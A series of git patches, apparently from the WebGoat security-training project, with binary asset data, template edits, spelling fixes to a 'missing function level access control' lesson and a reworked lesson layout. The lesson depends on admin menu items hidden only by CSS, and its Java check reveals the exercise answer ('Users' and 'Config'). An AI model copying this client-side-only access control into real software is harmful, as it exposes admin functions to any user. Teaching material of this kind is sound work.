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 Login Page + diff --git a/webgoat-container/src/main/resources/templates/main_new.html b/webgoat-container/src/main/resources/templates/main_new.html index 42bfc698a..ec6d2b87b 100644 --- a/webgoat-container/src/main/resources/templates/main_new.html +++ b/webgoat-container/src/main/resources/templates/main_new.html @@ -8,7 +8,7 @@ - + diff --git a/webwolf/src/main/resources/static/css/img/favicon.ico b/webwolf/src/main/resources/static/css/img/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..d75680a696ef1bfdb98847093113de3e1a278558 GIT binary patch literal 1032 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-G$+Qd;gjJKpuOE zr>`sfQ!aUac765e$x%T0wVp1HAs)x4PWAQ(NfbF=U;I34Ur>){x#_~ru)HV^p_Hx* zO5%yGfx1c^P1_tVEE5oKY7xluS|}D6pfJ<()*=ss4IdiUUzl>{1p8to!ygiRKj#}h zJ~Q{^%GW>5zFR+^_rHAKf6M!p4Facv*S2j@Qs1;H@ajqj4u=yyrYx^}ZZ|vY((@N(F6{wt{hIOvx1BpFzt@9Vs^s0hg|$xVTg5_s zC7wJE2&*_?vO(H-)t&qauS6c$#xnfaxX9~r!K-}^%5@CWBDcSkWsa!uWJ_SXe~!_t z(p{R7;hDs?+5gV}?b=o9J5y=T9;r={XOApri+rZOcgv-tn|$Z@9N%_Z%t7bU>FixU zj|v^M$W~}OV!_bO`s>AlZo@EPm$C_STo}CXEN{&W`{$X#_wKFdoh!LJl|odbmc<^u}Lmh97NVtA54{%4Z*z0XsQ8Ol}8oc^fk>k9ol z=2@XDdp2ydT<4V&UT~Ckw}Ul<+`A7V`jSs39ctXMKZk*7lPB{e%>%q=+!y%joLZ?M zov+luV7EYm+1xy1sffl#)f@hjn=6vD6!;#Pd-7~L7Mi8;#9&$Pd$~y`(t8%Cs4#gv zw%WO-xVvgogK));(<}^*w=|U+@@Icb-5~a>AlQ@b`wB(w25y_AF1Bk7%_5sl96#*x z!_)nUlX5htWLRsO(#wz8&R@N*iy@ePHa~R8aNSRH^R6 z)MSRoCOcWK+8kjPlaAOSQ)($JJZ9-8f8yaN4Aam!<$wB&=hGktW@T=@WNu+)VeiQz%)$yT4JL
-
- © 2020 WebGoat - Use WebWolf at your own risk - + © 2021 WebGoat - Use WebWolf at your own risk
diff --git a/webwolf/src/main/resources/templates/fragments/header.html b/webwolf/src/main/resources/templates/fragments/header.html index d8c3413d8..79f11fe0a 100644 --- a/webwolf/src/main/resources/templates/fragments/header.html +++ b/webwolf/src/main/resources/templates/fragments/header.html @@ -2,9 +2,7 @@ WebWolf
- - + diff --git a/webwolf/src/main/resources/templates/home.html b/webwolf/src/main/resources/templates/home.html index e19d5c4d9..886e9a8d1 100644 --- a/webwolf/src/main/resources/templates/home.html +++ b/webwolf/src/main/resources/templates/home.html @@ -1,6 +1,7 @@ +
diff --git a/webwolf/src/main/resources/templates/login.html b/webwolf/src/main/resources/templates/login.html index 23fe24e79..e41189a16 100644 --- a/webwolf/src/main/resources/templates/login.html +++ b/webwolf/src/main/resources/templates/login.html @@ -3,6 +3,7 @@ > WebWolf +
From cd2e1c1c09d47a504707484bdaad0fcc664da202 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 2 Nov 2021 11:16:05 +0100 Subject: [PATCH 084/227] Fix spelling issues --- .../en/missing-function-ac-01-intro.adoc | 8 ++++---- .../en/missing-function-ac-02-client-controls.adoc | 8 ++++---- .../en/missing-function-ac-03-users.adoc | 14 ++++++++++---- 3 files changed, 18 insertions(+), 12 deletions(-) diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-01-intro.adoc b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-01-intro.adoc index 3fa401c79..4616d8bbe 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-01-intro.adoc +++ b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-01-intro.adoc @@ -1,9 +1,9 @@ == Missing Function Level Access Control -Access control, like preventing XSS with output encoding can be tricky to maintain. One needs to ensure it is enforced properly throughout the entire application, thus in every method/function. +Access control, like preventing XSS with output encoding, can be tricky to maintain. One must ensure it is adequately enforced throughout the entire application, thus in every method/function. === IDOR vs Missing Function Level Access Control -The fact is many people (including the author of this lesson) would combine function level access control and IDOR into 'Access Control'. For sake of OWASP Top 10 and these lessons, we will make a -distinction. The distinction most made is that IDOR is more of a 'horizontal' or 'lateral' access control issue, and missing function level access control 'exposes functionality'. Even though, -the IDOR lesson here demonstrates how functionality may also be exposed, (at least to another user in the same role), we will look at other ways functionality might be exposed. +The fact is many people (including the author of this lesson) would combine function level access control and IDOR into 'Access Control.' For the sake of OWASP Top 10 and these lessons, we will make a +distinction. The distinction most made is that IDOR is more of a 'horizontal' or 'lateral' access control issue, and missing function level access control 'exposes functionality.' Even though +the IDOR lesson here demonstrates how functionality may also be exposed (at least to another user in the same role), we will look at other ways functionality might be exposed. diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-02-client-controls.adoc b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-02-client-controls.adoc index 114ca7825..6c8441bcb 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-02-client-controls.adoc +++ b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-02-client-controls.adoc @@ -1,11 +1,11 @@ == Relying on Obscurity -One could rely on HTML, CSS or javascript to hide links that users don't normally access. -In the past there has been a case where a network router tried to protect (hide) admin functionality with javascript in the UI: https://www.wired.com/2009/10/routers-still-vulnerable. +One could rely on HTML, CSS, or javascript to hide links that users don't normally access. +In the past, a network router tried to protect (hide) admin functionality with javascript in the UI: https://www.wired.com/2009/10/routers-still-vulnerable. === Finding Hidden Items -There are usually hints to finding functionality the UI does not openly expose in ... +There are usually hints to finding functionality the UI does not openly expose in: * HTML or javascript comments * Commented out elements @@ -13,4 +13,4 @@ There are usually hints to finding functionality the UI does not openly expose i === Your Mission -Find two invisible menu items in the menu below that are, or would be, of interest to an attacker/malicious user and submit the labels for those menu items (there are no links right now in the menus). +Find two invisible menu items in the menu below that are or would be of interest to an attacker/malicious user and submit the labels for those menu items (there are no links right now in the menus). \ No newline at end of file diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-03-users.adoc b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-03-users.adoc index 9a7dfd52b..739f15dbf 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-03-users.adoc +++ b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-03-users.adoc @@ -1,9 +1,15 @@ -== Just Try It +== Try it -As the previous page described, sometimes applications rely on client-side controls to control access (obscurity). If you can find items which are invisible, just try them and see what happens. Yes, it can be that simple! +As the previous page described, sometimes applications rely on client-side controls to control access (obscurity). If you can find invisible items, try them and see what happens. Yes, it can be that simple! === Gathering User Info -Often data dumps originate from vulnerabilities such as sql injection, but they can also come from poor or lacking access control. +Often data dumps originate from vulnerabilities such as SQL injection, but they can also come from poor or lacking access control. -It will likely take multiple steps and multiple attempts to get this one. Pay attention to the comments and leaked info. And you'll need to do some guessing too. You may need to use another browser/account along the way. Start with the info you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'Hash' for your own user account. +It will likely take multiple steps and multiple attempts to get this one: + +- Pay attention to the comments and leaked info. +- You'll need to do some guessing too. +- You may need to use another browser/account along the way. + +Start with the information you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'Hash' for your user account. \ No newline at end of file From bcaf4485c22d9312c48979725088bb5420330cde Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 2 Nov 2021 11:50:46 +0100 Subject: [PATCH 085/227] Move css to lesson itself --- .../missing-function-ac/src/main/resources/css/ac.css | 3 --- .../src/main/resources/html/MissingFunctionAC.html | 2 +- 2 files changed, 1 insertion(+), 4 deletions(-) rename webgoat-container/src/main/resources/static/css/lessons.css => webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css (83%) diff --git a/webgoat-container/src/main/resources/static/css/lessons.css b/webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css similarity index 83% rename from webgoat-container/src/main/resources/static/css/lessons.css rename to webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css index f2e85dc27..ae659093a 100644 --- a/webgoat-container/src/main/resources/static/css/lessons.css +++ b/webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css @@ -1,6 +1,3 @@ -/* css for lessons */ -/* not efficient loading, but at least easier to maintain */ - .hidden-menu-item { display:none; visibility:hidden; diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html b/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html index e6cc66c42..b0589c439 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html +++ b/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html @@ -6,7 +6,7 @@
- +
From 2bd6b3621092ed4b7d8a2156095d579cbe2094fe Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 2 Nov 2021 14:01:17 +0100 Subject: [PATCH 086/227] Fix layout assignment 2 --- .../MissingFunctionACHiddenMenus.java | 1 - .../src/main/resources/css/ac.css | 30 ----- .../resources/html/MissingFunctionAC.html | 124 ++++++++++-------- .../main/resources/js/missing-function-ac.js | 6 - ...issing-function-ac-02-client-controls.adoc | 6 +- 5 files changed, 70 insertions(+), 97 deletions(-) delete mode 100644 webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css delete mode 100644 webgoat-lessons/missing-function-ac/src/main/resources/js/missing-function-ac.js diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenus.java b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenus.java index 160aca0e1..baa487694 100644 --- a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenus.java +++ b/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenus.java @@ -45,7 +45,6 @@ public class MissingFunctionACHiddenMenus extends AssignmentEndpoint { @PostMapping(path = "/access-control/hidden-menu", produces = {"application/json"}) @ResponseBody public AttackResult completed(String hiddenMenu1, String hiddenMenu2) { - //overly simple example for success. See other existing lesssons for ways to detect 'success' or 'failure' if (hiddenMenu1.equals("Users") && hiddenMenu2.equals("Config")) { return success(this) .output("") diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css b/webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css deleted file mode 100644 index ae659093a..000000000 --- a/webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css +++ /dev/null @@ -1,30 +0,0 @@ -.hidden-menu-item { - display:none; - visibility:hidden; -} - -#ac-menu li { - list-style-type: none; - background-color: #aaa; - width: auto; - max-width: 20%; -} - -#ac-menu li:hover { - color: white; - background-color: #333; -} - -#ac-menu div { - margin-bottom: -60px; - margin-top: -10px; -} - -#ac-menu h3 { - color:white; - background-color:#666; -} - -#ac-menu-wrapper { - border-bottom: 2px solid #444; -} diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html b/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html index b0589c439..c3465584c 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html +++ b/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html @@ -1,82 +1,92 @@ -
-
-
+
+
+
-
-
- - +
+
-
-
-
- - - - +
+ +
+ +
+
+ +

Hidden item 1

+

Hidden item 2


+ -
- - -

Hidden Item 1

-

Hidden Item 2

-
- - - - -
-
-
+ +
+
-
+
-
+
-
-
-
+
-

Your Hash:

-
- +
+
+ - +

Your Hash:

+
+ -
-
-
+ +
+
+
+ diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/js/missing-function-ac.js b/webgoat-lessons/missing-function-ac/src/main/resources/js/missing-function-ac.js deleted file mode 100644 index 0f98933b5..000000000 --- a/webgoat-lessons/missing-function-ac/src/main/resources/js/missing-function-ac.js +++ /dev/null @@ -1,6 +0,0 @@ -webgoat.customjs.accessControlMenu = function() { - //webgoat.customjs.jquery('#ac-menu-ul').menu(); - webgoat.customjs.jquery('#ac-menu').accordion(); -} - -webgoat.customjs.accessControlMenu(); \ No newline at end of file diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-02-client-controls.adoc b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-02-client-controls.adoc index 6c8441bcb..19a13c0e2 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-02-client-controls.adoc +++ b/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-02-client-controls.adoc @@ -1,9 +1,9 @@ -== Relying on Obscurity +== Relying on obscurity One could rely on HTML, CSS, or javascript to hide links that users don't normally access. In the past, a network router tried to protect (hide) admin functionality with javascript in the UI: https://www.wired.com/2009/10/routers-still-vulnerable. -=== Finding Hidden Items +=== Finding hidden items There are usually hints to finding functionality the UI does not openly expose in: @@ -11,6 +11,6 @@ There are usually hints to finding functionality the UI does not openly expose i * Commented out elements * Items hidden via CSS controls/classes -=== Your Mission +=== Your mission Find two invisible menu items in the menu below that 